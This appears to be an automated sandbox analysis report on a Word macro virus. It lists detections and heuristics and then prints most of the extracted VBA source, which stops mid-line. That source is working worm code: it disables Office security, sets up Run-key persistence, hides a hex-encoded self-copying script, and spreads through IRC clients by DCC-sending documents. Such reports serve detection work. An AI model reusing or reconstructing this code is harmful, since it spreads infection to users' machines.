MALICIOUS
496
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1105 Ingress Tool Transfer
The sample contains VBA macros that attempt to disable Word's security settings and execute a script. The script, when reconstructed, appears to be designed to download and execute a second-stage payload. The use of `WScript.Shell` and `CreateObject` indicates a high likelihood of malicious activity, consistent with a downloader or dropper malware.
Heuristics 11
-
ClamAV: Win.Worm.W-388 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Worm.W-388
-
VBA macros detected medium 7 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set wsc = CreateObject("WScript.Shell") -
LOLBin reference in VBA critical OLE_VBA_LOLBINLOLBin reference in VBAMatched line in script
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "MSGrc32") = "Wscript.exe " & fso.GetSpecialFolder(1) & "\MSGrc32.vbs %1" -
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set fso = CreateObject("Scripting.FileSystemObject") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 58115 bytes |
SHA-256: 3e497c808c3fae7616955060e70910e78cc3eb7c5bb27e4c70749f7707af5d78 |
|||
|
Detection
ClamAV:
Win.Trojan.wmvg-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Grouch"
Sub AutoOpen()
Call Enpzz
End Sub
Sub AutoClose()
Call Enpzz
End Sub
Sub ToolsMacro()
End Sub
Sub ViewVBCode()
End Sub
Sub Enpzz()
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
Application.DisplayStatusBar = False
Application.ScreenUpdating = False
Application.EnableCancelKey = wdCancelDisabled
Application.DisplayAlerts = wdAlertsNone
WordRegistry = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Word\Security"
System.PrivateProfileString("", WordRegistry, "Level") = 1&
System.PrivateProfileString("", WordRegistry, "AccessVBOM") = 1&
CommandBars("Tools").Controls("Macro").Enabled = False
CommandBars("Macro").Controls("Security...").Enabled = False
CommandBars("Macro").Controls("Macros...").Enabled = False
CommandBars("Tools").Controls("Customize...").Enabled = False
CommandBars("Tools").Controls("Templates and Add-Ins...").Enabled = False
CommandBars("View").Controls("Toolbars").Enabled = False
Set fso = CreateObject("Scripting.FileSystemObject")
If Dir(fso.GetSpecialFolder(1) & "\MSGrc32.vbs") <> "MSGrc32.vbs" Then
Tz = ""
Tz = Tz + "27205642532F47726F756368206279205A65642F5B72526C665D0D0A4F6E204572726F7220526573756D65204E6578740D0A5365742066"
Tz = Tz + "736F203D204372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422290D0A536574204720"
Tz = Tz + "3D2066736F2E47657446696C6528575363726970742E53637269707446756C6C4E616D65290D0A53657420537973446972203D2066736F"
Tz = Tz + "2E4765745370656369616C466F6C6465722831290D0A53657420777363203D204372656174654F626A6563742822575363726970742E53"
Tz = Tz + "68656C6C22290D0A5067446972203D207773632E526567526561642822484B45595F4C4F43414C5F4D414348494E455C536F6674776172"
Tz = Tz + "655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C50726F6772616D46696C657344697222290D0A53"
Tz = Tz + "6574204F75746C6F6F6B417070203D204372656174654F626A65637428224F75746C6F6F6B2E4170706C69636174696F6E22290D0A5365"
Tz = Tz + "7420474E53203D204F75746C6F6F6B4170702E4765744E616D65537061636528224D41504922290D0A472E436F70792028537973446972"
Tz = Tz + "202620225C4D5347726333322E76627322290D0A7773632E52656757726974652022484B4C4D5C536F6674776172655C4D6963726F736F"
Tz = Tz + "66745C57696E646F77735C43757272656E7456657273696F6E5C52756E5C4D534772633332222C2022577363726970742E657865202220"
Tz = Tz + "2620537973446972202620225C4D5347726333322E766273202531220D0A536574204A43203D2066736F2E4F70656E5465787446696C65"
Tz = Tz + "28575363726970742E53637269707446756C6C4E616D652C2031290D0A576F726D46696C6552656164416C6C54657874203D204A432E52"
Tz = Tz + "656164416C6C0D0A4A432E436C6F73650D0A52616E646F6D697A650D0A52616E646F6D697A650D0A52616E646F6D697A650D0A526E6443"
Tz = Tz + "6872203D2043687228496E7428526E64202A203236202B20363529290D0A466F7220524332203D203120546F20496E742828526E64202A"
Tz = Tz + "203136202B203129290D0A5232203D20523220262043687228496E7428526E64202A203236202B20393729290D0A4E6578740D0A523220"
Tz = Tz + "3D20526E6443687220262052320D0A5265616446696C654E616D65203D207773632E526567526561642822484B45595F43555252454E54"
Tz = Tz + "5F555345525C536F6674776172655C5A65642F5B72526C665D5C47726F7563685C312E305C526E64436F707922290D0A49662052656164"
Tz = Tz + "46696C654E616D65203D202222205468656E0D0A7773632E52656757726974652022484B43555C536F6674776172655C5A65642F5B7252"
Tz = Tz + "6C665D5C47726F7563685C312E305C526E64436F7079222C2052320D0A5265616446696C654E616D65203D207773632E52656752656164"
Tz = Tz + "2822484B45595F43555252454E545F555345525C536F6674776172655C5A65642F5B72526C665D5C47726F7563685C312E305C526E6443"
Tz = Tz + "6F707922290D0A4966205265616446696C654E616D65203C3E20222220416E64207773632E5370656369616C466F6C6465727328225374"
Tz = Tz + "61727475702229203C3E202222205468656E0D0A472E436F707920287773632E5370656369616C466F6C64657273282253746172747570"
Tz = Tz + "2229202620225C222026205265616446696C654E616D65202620222E76627322290D0A456E642049660D0A456E642049660D0A50434F77"
Tz = Tz + "6E6572203D207773632E526567526561642822484B45595F4C4F43414C5F4D414348494E455C536F6674776172655C4D6963726F736F66"
Tz = Tz + "745C57696E646F77735C43757272656E7456657273696F6E5C526567697374657265644F776E657222290D0A53657420777264203D2043"
Tz = Tz + "72656174654F626A6563742822576F72642E4170706C69636174696F6E22290D0A496620777264203C3E202222205468656E0D0A496620"
Tz = Tz + "66736F2E46696C654578697374732866736F2E4765745370656369616C466F6C646572283129202620225C57696E47726333322E646C6C"
Tz = Tz + "2229205468656E0D0A436865636B4966496E7374616C6C6564203D207773632E526567526561642822484B45595F43555252454E545F55"
Tz = Tz + "5345525C536F6674776172655C5A65642F5B72526C665D5C47726F7563685C312E305C4E6F726D616C54656D706C61746522290D0A4966"
Tz = Tz + "20436865636B4966496E7374616C6C6564203D202222204F7220436865636B4966496E7374616C6C6564203D20446179284E6F77292054"
Tz = Tz + "68656E0D0A7772642E4F7074696F6E732E566972757350726F74656374696F6E203D2046616C73650D0A7772642E4F7074696F6E732E53"
Tz = Tz + "6176654E6F726D616C50726F6D7074203D2046616C73650D0A7772642E4F7074696F6E732E436F6E6669726D436F6E76657273696F6E73"
Tz = Tz + "203D2046616C73650D0A4966207772642E4E6F726D616C54656D706C6174652E564250726F6A6563742E5642436F6D706F6E656E74732E"
Tz = Tz + "4974656D282247726F75636822292E4E616D65203C3E202247726F75636822205468656E0D0A7772642E4E6F726D616C54656D706C6174"
Tz = Tz + "652E564250726F6A6563742E5642436F6D706F6E656E74732E496D706F72742066736F2E4765745370656369616C466F6C646572283129"
Tz = Tz + "202620225C57696E47726333322E646C6C220D0A7772642E4E6F726D616C54656D706C6174652E564250726F6A6563742E5642436F6D70"
Tz = Tz + "6F6E656E74732E4974656D282247726F75636822292E4E616D65203D202247726F756368220D0A7773632E52656757726974652022484B"
Tz = Tz + "43555C536F6674776172655C4D6963726F736F66745C4F66666963655C222026207772642E4170706C69636174696F6E2E56657273696F"
Tz = Tz + "6E202620225C576F72645C53656375726974795C4C6576656C222C20312C20225245475F44574F5244220D0A7773632E52656757726974"
Tz = Tz + "652022484B43555C536F6674776172655C4D6963726F736F66745C4F66666963655C222026207772642E4170706C69636174696F6E2E56"
Tz = Tz + "657273696F6E202620225C576F72645C53656375726974795C41636365737356424F4D222C20312C20225245475F44574F5244220D0A45"
Tz = Tz + "6E642049660D0A7773632E52656757726974652022484B43555C536F6674776172655C5A65642F5B72526C665D5C47726F7563685C312E"
Tz = Tz + "305C4E6F726D616C54656D706C6174655C222C20446179284E6F77290D0A456E642049660D0A456E642049660D0A536574205772697465"
Tz = Tz + "576F726D436F6465203D2066736F2E4372656174655465787446696C652866736F2E4765745370656369616C466F6C6465722831292026"
Tz = Tz + "20225C57696E47726333322E646C6C222C2054727565290D0A5772697465576F726D436F64652E57726974654C696E6520224174747269"
Tz = Tz + "627574652056425F4E616D65203D20222247726F7563682222220D0A5772697465576F726D436F64652E57726974654C696E6520225375"
Tz = Tz + "62204175746F4F70656E2829220D0A5772697465576F726D436F64652E57726974654C696E65202243616C6C202220262052320D0A5772"
Tz = Tz + "697465576F726D436F64652E57726974654C696E652022456E6420537562220D0A5772697465576F726D436F64652E57726974654C696E"
Tz = Tz + "652022537562204175746F436C6F73652829220D0A5772697465576F726D436F64652E57726974654C696E65202243616C6C2022202620"
Tz = Tz + "52320D0A5772697465576F726D436F64652E57726974654C696E652022456E6420537562220D0A5772697465576F726D436F64652E5772"
Tz = Tz + "6974654C696E65202253756220546F6F6C734D6163726F2829220D0A5772697465576F726D436F64652E57726974654C696E652022456E"
Tz = Tz + "6420537562220D0A5772697465576F726D436F64652E57726974654C696E65202253756220566965775642436F64652829220D0A577269"
Tz = Tz + "7465576F726D436F64652E57726974654C696E652022456E6420537562220D0A5772697465576F726D436F64652E57726974654C696E65"
Tz = Tz + "202253756220222026205232202620222829220D0A5772697465576F726D436F64652E57726974654C696E6520224F6E204572726F7220"
Tz = Tz + "526573756D65204E657874220D0A5772697465576F726D436F64652E57726974654C696E6520224F7074696F6E732E566972757350726F"
Tz = Tz + "74656374696F6E203D2046616C7365220D0A5772697465576F726D436F64652E57726974654C696E6520224F7074696F6E732E53617665"
Tz = Tz + "4E6F726D616C50726F6D7074203D2046616C7365220D0A5772697465576F726D436F64652E57726974654C696E6520224F7074696F6E73"
Tz = Tz + "2E436F6E6669726D436F6E76657273696F6E73203D2046616C7365220D0A5772697465576F726D436F64652E57726974654C696E652022"
Tz = Tz + "4170706C69636174696F6E2E446973706C6179537461747573426172203D2046616C7365220D0A5772697465576F726D436F64652E5772"
Tz = Tz + "6974654C696E6520224170706C69636174696F6E2E53637265656E5570646174696E67203D2046616C7365220D0A5772697465576F726D"
Tz = Tz + "436F64652E57726974654C696E6520224170706C69636174696F6E2E456E61626C6543616E63656C4B6579203D20776443616E63656C44"
Tz = Tz + "697361626C6564220D0A5772697465576F726D436F64652E57726974654C696E6520224170706C69636174696F6E2E446973706C617941"
Tz = Tz + "6C65727473203D207764416C657274734E6F6E65220D0A5772697465576F726D436F64652E57726974654C696E652022576F7264526567"
Tz = Tz + "6973747279203D202222484B45595F43555252454E545F555345525C536F6674776172655C4D6963726F736F66745C4F66666963655C22"
Tz = Tz + "222026204170706C69636174696F6E2E56657273696F6E20262022225C576F72645C53656375726974792222220D0A5772697465576F72"
Tz = Tz + "6D436F64652E57726974654C696E65202253797374656D2E5072697661746550726F66696C65537472696E6728222222222C20576F7264"
Tz = Tz + "52656769737472792C2022224C6576656C222229203D203126220D0A5772697465576F726D436F64652E57726974654C696E6520225379"
Tz = Tz + "7374656D2E5072697661746550726F66696C65537472696E6728222222222C20576F726452656769737472792C20222241636365737356"
Tz = Tz + "424F4D222229203D203126220D0A5772697465576F726D436F64652E57726974654C696E652022436F6D6D616E6442617273282222546F"
Tz = Tz + "6F6C732222292E436F6E74726F6C732822224D6163726F2222292E456E61626C6564203D2046616C7365220D0A5772697465576F726D43"
Tz = Tz + "6F64652E57726974654C696E652022436F6D6D616E64426172732822224D6163726F2222292E436F6E74726F6C73282222536563757269"
Tz = Tz + "74792E2E2E2222292E456E61626C6564203D2046616C7365220D0A5772697465576F726D436F64652E57726974654C696E652022436F6D"
Tz = Tz + "6D616E64426172732822224D6163726F2222292E436F6E74726F6C732822224D6163726F732E2E2E2222292E456E61626C6564203D2046"
Tz = Tz + "616C7365220D0A5772697465576F726D436F64652E57726974654C696E652022436F6D6D616E6442617273282222546F6F6C732222292E"
Tz = Tz + "436F6E74726F6C73282222437573746F6D697A652E2E2E2222292E456E61626C6564203D2046616C7365220D0A5772697465576F726D43"
Tz = Tz + "6F64652E57726974654C696E652022436F6D6D616E6442617273282222546F6F6C732222292E436F6E74726F6C7328222254656D706C61"
Tz = Tz + "74657320616E64204164642D496E732E2E2E2222292E456E61626C6564203D2046616C7365220D0A5772697465576F726D436F64652E57"
Tz = Tz + "726974654C696E652022436F6D6D616E6442617273282222566965772222292E436F6E74726F6C73282222546F6F6C626172732222292E"
Tz = Tz + "456E61626C6564203D2046616C7365220D0A5772697465576F726D436F64652E57726974654C696E6520225365742066736F203D204372"
Tz = Tz + "656174654F626A656374282222536372697074696E672E46696C6553797374656D4F626A656374222229220D0A5772697465576F726D43"
Tz = Tz + "6F64652E57726974654C696E6520224966204469722866736F2E4765745370656369616C466F6C64657228312920262022225C4D534772"
Tz = Tz + "6333322E766273222229203C3E2022224D5347726333322E7662732222205468656E220D0A5772697465576F726D436F64652E57726974"
Tz = Tz + "654C696E652022547A203D202220262043687228333429202620436872283334290D0A466F722069203D203120546F204C656E28576F72"
Tz = Tz + "6D46696C6552656164416C6C54657874290D0A547A203D204D696428576F726D46696C6552656164416C6C546578742C20692C2031290D"
Tz = Tz + "0A547A203D204865782841736328547A29290D0A4966204C656E28547A29203D2031205468656E0D0A547A203D20223022202620547A0D"
Tz = Tz + "0A456E642049660D0A477A203D20477A202B20547A0D0A4966204C656E28477A29203D20313130205468656E0D0A5772697465576F726D"
Tz = Tz + "436F64652E57726974654C696E652022547A203D20547A202B20222222202B20477A202B20436872283334290D0A477A203D2022220D0A"
Tz = Tz + "456E642049660D0A4966204C656E28576F726D46696C6552656164416C6C5465787429202D2069203D2030205468656E0D0A5772697465"
Tz = Tz + "576F726D436F64652E57726974654C696E652022547A203D20547A202B20222222202B20477A202B20436872283334290D0A477A203D20"
Tz = Tz + "22220D0A456E642049660D0A4E6578740D0A5772697465576F726D436F64652E57726974654C696E6520224F70656E2066736F2E476574"
Tz = Tz + "5370656369616C466F6C64657228312920262022225C4D5347726333322E766273222220466F72204F7574707574204173202331220D0A"
Tz = Tz + "5772697465576F726D436F64652E57726974654C696E6520225072696E742023312C20434D28547A29220D0A5772697465576F726D436F"
Tz = Tz + "64652E57726974654C696E652022436C6F7365202331220D0A5772697465576F726D436F64652E57726974654C696E6520225379737465"
Tz = Tz + "6D2E5072697661746550726F66696C65537472696E6728222222222C202222484B45595F4C4F43414C5F4D414348494E455C536F667477"
Tz = Tz + "6172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C52756E22222C2022224D5347726333322222"
Tz = Tz + "29203D202222577363726970742E65786520222220262066736F2E4765745370656369616C466F6C64657228312920262022225C4D5347"
Tz = Tz + "726333322E7662732025312222220D0A5772697465576F726D436F64652E57726974654C696E652022456E64204966220D0A5772697465"
Tz = Tz + "576F726D436F64652E57726974654C696E6520224966204E6F74204E6F726D616C54656D706C6174652E564250726F6A6563742E564243"
Tz = Tz + "6F6D706F6E656E74732E4974656D28222247726F7563682222292E4E616D65203D20222247726F7563682222205468656E204163746976"
Tz = Tz + "65446F63756D656E742E564250726F6A6563742E5642436F6D706F6E656E747328222247726F7563682222292E4578706F72742066736F"
Tz = Tz + "2E4765745370656369616C466F6C64657228312920262022225C57696E47726333322E646C6C22223A204E6F726D616C54656D706C6174"
Tz = Tz + "652E564250726F6A6563742E5642436F6D706F6E656E74732E496D706F72742066736F2E4765745370656369616C466F6C646572283129"
Tz = Tz + "20262022225C57696E47726333322E646C6C2222220D0A5772697465576F726D436F64652E57726974654C696E6520224966204E6F7420"
Tz = Tz + "416374697665446F63756D656E742E564250726F6A6563742E5642436F6D706F6E656E74732E4974656D28222247726F7563682222292E"
Tz = Tz + "4E616D65203D20222247726F7563682222205468656E204E6F726D616C54656D706C6174652E564250726F6A6563742E5642436F6D706F"
Tz = Tz + "6E656E747328222247726F7563682222292E4578706F72742066736F2E4765745370656369616C466F6C64657228312920262022225C57"
Tz = Tz + "696E47726333322E646C6C22223A20416374697665446F63756D656E742E564250726F6A6563742E5642436F6D706F6E656E74732E496D"
Tz = Tz + "706F72742066736F2E4765745370656369616C466F6C64657228312920262022225C57696E47726333322E646C6C2222220D0A57726974"
Tz = Tz + "65576F726D436F64652E57726974654C696E65202249662053797374656D2E5072697661746550726F66696C65537472696E6728222222"
Tz = Tz + "222C202222484B45595F43555252454E545F555345525C536F6674776172655C4B617A61615C5472616E7366657222222C202222446C44"
Tz = Tz + "697230222229203C3E2022222222205468656E220D0A5772697465576F726D436F64652E57726974654C696E6520224D6B446972206673"
Tz = Tz + "6F2E4765745370656369616C466F6C64657228312920262022225C4B617A61615368617265642222220D0A5772697465576F726D436F64"
Tz = Tz + "652E57726974654C696E652022496620496E53747228312C20416374697665446F63756D656E742E4E616D652C202222446F63756D656E"
Tz = Tz + "74222229203D2046616C7365205468656E220D0A5772697465576F726D436F64652E57726974654C696E652022416374697665446F6375"
Tz = Tz + "6D656E742E5361766541732046696C654E616D653A3D66736F2E4765745370656369616C466F6C64657228312920262022225C4B617A61"
Tz = Tz + "615368617265645C2222202620416374697665446F63756D656E742E4E616D65220D0A5772697465576F726D436F64652E57726974654C"
Tz = Tz + "696E652022416374697665446F63756D656E742E5361766564203D2054727565220D0A5772697465576F726D436F64652E57726974654C"
Tz = Tz + "696E652022456E64204966220D0A5772697465576F726D436F64652E57726974654C696E65202253797374656D2E507269766174655072"
Tz = Tz + "6F66696C65537472696E6728222222222C202222484B45595F43555252454E545F555345525C536F6674776172655C4B617A61615C5472"
Tz = Tz + "616E7366657222222C202222446C44697231222229203D2066736F2E4765745370656369616C466F6C64657228312920262022225C4B61"
Tz = Tz + "7A61615368617265642222220D0A5772697465576F726D436F64652E57726974654C696E652022456E64204966220D0A5772697465576F"
Tz = Tz + "726D436F64652E57726974654C696E652022496620496E53747228312C20416374697665446F63756D656E742E4E616D652C202222446F"
Tz = Tz + "63756D656E74222229203D2054727565205468656E220D0A5772697465576F726D436F64652E57726974654C696E652022416374697665"
Tz = Tz + "446F63756D656E742E5361766564203D2054727565220D0A5772697465576F726D436F64652E57726974654C696E652022456C7365220D"
Tz = Tz + "0A5772697465576F726D436F64652E57726974654C696E652022416374697665446F63756D656E742E5361766541732046696C654E616D"
Tz = Tz + "653A3D416374697665446F63756D656E742E46756C6C4E616D65220D0A5772697465576F726D436F64652E57726974654C696E65202253"
Tz = Tz + "657420777363203D204372656174654F626A656374282222575363726970742E5368656C6C222229220D0A5772697465576F726D436F64"
Tz = Tz + "652E57726974654C696E652022496620446972282222433A5C4D6972635C4D6972632E696E69222229203D2022224D6972632E696E6922"
Tz = Tz + "22205468656E2053637269707450617468203D202222433A5C4D6972632222220D0A5772697465576F726D436F64652E57726974654C69"
Tz = Tz + "6E652022496620446972282222433A5C4D69726333325C4D6972632E696E69222229203D2022224D6972632E696E692222205468656E20"
Tz = Tz + "53637269707450617468203D202222433A5C4D69726333322222220D0A5772697465576F726D436F64652E57726974654C696E65202249"
Tz = Tz + "6620446972282222433A5C50726F6772616D2046696C65735C4D6972635C4D696E632E696E69222229203D2022224D6972632E696E6922"
Tz = Tz + "22205468656E2053637269707450617468203D202222433A5C50726F6772616D2046696C65735C4D6972632222220D0A5772697465576F"
Tz = Tz + "726D436F64652E57726974654C696E652022496620446972282222433A5C50726F6772616D6D655C4D6972635C4D696E632E696E692222"
Tz = Tz + "29203D2022224D6972632E696E692222205468656E2053637269707450617468203D202222433A5C50726F6772616D6D655C4D69726322"
Tz = Tz + "22220D0A5772697465576F726D436F64652E57726974654C696E652022496620446972282222433A5C50726F6772616D6D695C4D697263"
Tz = Tz + "5C4D696E632E696E69222229203D2022224D6972632E696E692222205468656E2053637269707450617468203D202222433A5C50726F67"
Tz = Tz + "72616D6D695C4D6972632222220D0A5772697465576F726D436F64652E57726974654C696E652022496620446972282222433A5C50726F"
Tz = Tz + "6772616D2046696C65735C4D69726333325C4D696E632E696E69222229203D2022224D6972632E696E692222205468656E205363726970"
Tz = Tz + "7450617468203D202222433A5C50726F6772616D2046696C65735C4D69726333322222220D0A5772697465576F726D436F64652E577269"
Tz = Tz + "74654C696E652022496620446972282222433A5C50726F6772616D6D655C4D69726333325C4D696E632E696E69222229203D2022224D69"
Tz = Tz + "72632E696E692222205468656E2053637269707450617468203D202222433A5C50726F6772616D6D655C4D69726333322222220D0A5772"
Tz = Tz + "697465576F726D436F64652E57726974654C696E652022496620446972282222433A5C50726F6772616D6D695C4D69726333325C4D696E"
Tz = Tz + "632E696E69222229203D2022224D6972632E696E692222205468656E2053637269707450617468203D202222433A5C50726F6772616D6D"
Tz = Tz + "695C4D69726333322222220D0A5772697465576F726D436F64652E57726974654C696E6520224966204E6F742053637269707450617468"
Tz = Tz + "203D2022222222205468656E220D0A5772697465576F726D436F64652E57726974654C696E6520224F70656E2053637269707450617468"
Tz = Tz + "20262022225C7363726970742E696E69222220466F72204F7574707574204173202332220D0A5772697465576F726D436F64652E577269"
Tz = Tz + "74654C696E6520225072696E742023322C2022225B7363726970745D2222220D0A5772697465576F726D436F64652E57726974654C696E"
Tz = Tz + "6520225072696E742023322C2022226E353D206F6E20313A4A4F494E3A233A7B2222220D0A5772697465576F726D436F64652E57726974"
Tz = Tz + "654C696E6520225072696E742023322C2022226E363D202F6966202820246E69636B203D3D20246D652029207B2068616C74207D222222"
Tz = Tz + "0D0A5772697465576F726D436F64652E57726974654C696E6520225072696E742023322C2022226E373D202F6D736720246E69636B2048"
Tz = Tz + "657265206973207468617420646F63756D656E7420796F752077616E746564203A292222220D0A5772697465576F726D436F64652E5772"
Tz = Tz + "6974654C696E6520225072696E742023322C2022226E383D202F6463632073656E64202D6320246E69636B202222202620416374697665"
Tz = Tz + "446F63756D656E742E46756C6C4E616D65220D0A5772697465576F726D436F64652E57726974654C696E6520225072696E742023322C20"
Tz = Tz + "22226E393D207D2222220D0A5772697465576F726D436F64652E57726974654C696E652022436C6F7365202332220D0A5772697465576F"
Tz = Tz + "726D436F64652E57726974654C696E652022456E64204966220D0A5772697465576F726D436F64652E57726974654C696E652022496620"
Tz = Tz + "446972282222433A5C50697263685C506972636833322E657865222229203D202222506972636833322E6578652222205468656E205069"
Tz = Tz + "72636850617468203D202222433A5C50697263682222220D0A5772697465576F726D436F64652E57726974654C696E6520224966204469"
Tz = Tz + "72282222433A5C506972636833325C506972636833322E657865222229203D202222506972636833322E6578652222205468656E205069"
Tz = Tz + "72636850617468203D202222433A5C506972636833322222220D0A5772697465576F726D436F64652E57726974654C696E652022496620"
Tz = Tz + "446972282222433A5C50726F6772616D2046696C65735C50697263685C506972636833322E657865222229203D20222250697263683332"
Tz = Tz + "2E6578652222205468656E20506972636850617468203D202222433A5C50726F6772616D2046696C65735C50697263682222220D0A5772"
Tz = Tz + "697465576F726D436F64652E57726974654C696E652022496620446972282222433A5C50726F6772616D6D655C50697263685C50697263"
Tz = Tz + "6833322E657865222229203D202222506972636833322E6578652222205468656E20506972636850617468203D202222433A5C50726F67"
Tz = Tz + "72616D6D655C50697263682222220D0A5772697465576F726D436F64652E57726974654C696E652022496620446972282222433A5C5072"
Tz = Tz + "6F6772616D6D695C50697263685C506972636833322E657865222229203D202222506972636833322E6578652222205468656E20506972"
Tz = Tz + "636850617468203D202222433A5C50726F6772616D6D695C50697263682222220D0A5772697465576F726D436F64652E57726974654C69"
Tz = Tz + "6E652022496620446972282222433A5C50726F6772616D2046696C65735C506972636833325C506972636833322E657865222229203D20"
Tz = Tz + "2222506972636833322E6578652222205468656E20506972636850617468203D202222433A5C50726F6772616D2046696C65735C506972"
Tz = Tz + "636833322222220D0A5772697465576F726D436F64652E57726974654C696E652022496620446972282222433A5C50726F6772616D6D65"
Tz = Tz + "5C506972636833325C506972636833322E657865222229203D202222506972636833322E6578652222205468656E205069726368506174"
Tz = Tz + "68203D202222433A5C50726F6772616D6D655C506972636833322222220D0A5772697465576F726D436F64652E57726974654C696E6520"
Tz = Tz + "22496620446972282222433A5C50726F6772616D6D695C506972636833325C506972636833322E657865222229203D2022225069726368"
Tz = Tz + "33322E6578652222205468656E20506972636850617468203D202222433A5C50726F6772616D6D695C506972636833322222220D0A5772"
Tz = Tz + "697465576F726D436F64652E57726974654C696E6520224966204E6F7420506972636850617468203D2022222222205468656E220D0A57"
Tz = Tz + "72697465576F726D436F64652E57726974654C696E6520224F70656E2050697263685061746820262022225C6576656E74732E696E6922"
Tz = Tz + "2220466F72204F7574707574204173202333220D0A5772697465576F726D436F64652E57726974654C696E6520225072696E742023332C"
Tz = Tz + "2022225B4C6576656C735D2222220D0A5772697465576F726D436F64652E57726974654C696E6520225072696E742023332C202222456E"
Tz = Tz + "61626C65643D312222220D0A5772697465576F726D436F64652E57726974654C696E6520225072696E742023332C202222436F756E743D"
Tz = Tz + "362222220D0A5772697465576F726D436F64652E57726974654C696E6520225072696E742023332C2022224C6576656C313D3030302D55"
Tz = Tz + "6E6B6E6F776E732222220D0A5772697465576F726D436F64652E57726974654C696E6520225072696E742023332C2022223030302D556E"
Tz = Tz + "6B6E6F776E73456E61626C65643D312222220D0A5772697465576F726D436F64652E57726974654C696E6520225072696E742023332C20"
Tz = Tz + "22224C6576656C323D3130302D4C6576656C203130302222220D0A5772697465576F726D436F64652E57726974654C696E652022507269"
Tz = Tz + "6E742023332C2022223130302D4C6576656C20313030456E61626C65643D312222220D0A5772697465576F726D436F64652E5772697465"
Tz = Tz + "4C696E6520225072696E742023332C2022224C6576656C333D3230302D4C6576656C203230302222220D0A5772697465576F726D436F64"
Tz = Tz + "652E57726974654C696E6520225072696E742023332C2022223230302D4C6576656C20323030456E61626C65643D312222220D0A577269"
Tz = Tz + "7465576F726D436F64652E57726974654C696E6520225072696E742023332C2022224C6576656C343D3330302D4C6576656C2033303022"
Tz = Tz + "22220D0A5772697465576F726D436F64652E57726974654C696E6520225072696E742023332C2022223330302D4C6576656C2033303045"
Tz = Tz + "6E61626C65643D312222220D0A5772697465576F726D436F64652E57726974654C696E6520225072696E742023332C2022224C6576656C"
Tz = Tz + "353D3430302D4C6576656C203430302222220D0A5772697465576F726D436F64652E57726974654C696E6520225072696E742023332C20"
Tz = Tz + "22223430302D4C6576656C20343030456E61626C65643D312222220D0A5772697465576F726D436F64652E57726974654C696E65202250"
Tz = Tz + "72696E742023332C2022224C6576656C363D3530302D4C6576656C203530302222220D0A5772697465576F726D436F64652E5772697465"
Tz = Tz + "4C696E6520225072696E742023332C2022223530302D4C6576656C20353030456E61626C65643D312222220D0A5772697465576F726D43"
Tz = Tz + "6F64652E57726974654C696E6520225072696E742023332C2022222222220D0A5772697465576F726D436F64652E57726974654C696E65"
Tz = Tz + "20225072696E742023332C2022225B3030302D556E6B6E6F776E735D2222220D0A5772697465576F726D436F64652E57726974654C696E"
Tz = Tz + "6520225072696E742023332C20222255736572436F756E743D302222220D0A5772697465576F726D436F64652E57726974654C696E6520"
Tz = Tz + "225072696E742023332C2022224576656E74313D4F4E204A4F494E3A233A2F6D736720246E69636B20546869732069732066756E6E7921"
Tz = Tz + "2222220D0A5772697465576F726D436F64652E57726974654C696E6520225072696E742023332C2022224576656E74436F756E743D3022"
Tz = Tz + "22220D0A5772697465576F726D436F64652E57726974654C696E6520225072696E742023332C2022222222220D0A5772697465576F726D"
Tz = Tz + "436F64652E57726974654C696E6520225072696E742023332C2022225B3130302D4C6576656C203130305D2222220D0A5772697465576F"
Tz = Tz + "726D436F64652E57726974654C696E6520225072696E742023332C20222255736572313D2A212A402A2222220D0A5772697465576F726D"
Tz = Tz + "436F64652E57726974654C696E6520225072696E742023332C20222255736572436F756E743D312222220D0A5772697465576F726D436F"
